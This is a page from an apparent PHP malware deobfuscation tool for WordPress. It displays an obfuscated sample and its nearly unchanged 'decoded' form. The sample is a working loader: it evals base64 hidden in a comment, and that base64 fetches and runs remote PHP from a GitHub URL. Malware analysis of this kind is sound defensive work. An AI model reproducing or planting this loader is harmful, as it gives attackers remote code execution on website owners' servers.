Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php error_reporting(0); /* |--ZXZhbChzdHJfcmVwbGFjZSgiPD9waHAiLCIiLGZpbGVfZ2V0X2NvbnRlbnRzKCJhcHAucGhwIikpKTsR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFkR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFkR2...



Obfuscated php code

<?php
error_reporting(0);
/*
|--ZXZhbChzdHJfcmVwbGFjZSgiPD9waHAiLCIiLGZpbGVfZ2V0X2NvbnRlbnRzKCJhcHAucGhwIikpKTsR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFkR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFkR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFkR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFkR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFk--|
|--ZXZhbChzdHJfcmVwbGFjZSgiPD9waHAiLCIiLGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vemJzZXJ2ZXIvemVyb2JvdC9yZWZzL2hlYWRzL21haW4vYXBwL2FwcC5waHAiKSkpOw==--|
|--R2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFk--|
*/
$R2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFk=explode("--|",explode("|--",file_get_contents("server.php"))[2])[0];
eval(base64_decode($R2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFk));

Decoded(de-Obfuscated) php code

<?php

error_reporting(0);
/*
|--ZXZhbChzdHJfcmVwbGFjZSgiPD9waHAiLCIiLGZpbGVfZ2V0X2NvbnRlbnRzKCJhcHAucGhwIikpKTsR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFkR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFkR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFkR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFkR2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFk--|
|--ZXZhbChzdHJfcmVwbGFjZSgiPD9waHAiLCIiLGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vemJzZXJ2ZXIvemVyb2JvdC9yZWZzL2hlYWRzL21haW4vYXBwL2FwcC5waHAiKSkpOw==--|
|--R2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFk--|
*/
$R2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFk = explode("--|", explode("|--", file_get_contents("server.php"))[2])[0];
eval(base64_decode($R2V0UG9zdFJlcXVpcmVIdHRwWmVyb2JvdFNlcnZlck9wZW5aaXBSYXJJbmNsdWRlUmVxdWlyZW9uY2VTdWJtaXRIZWFk));

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.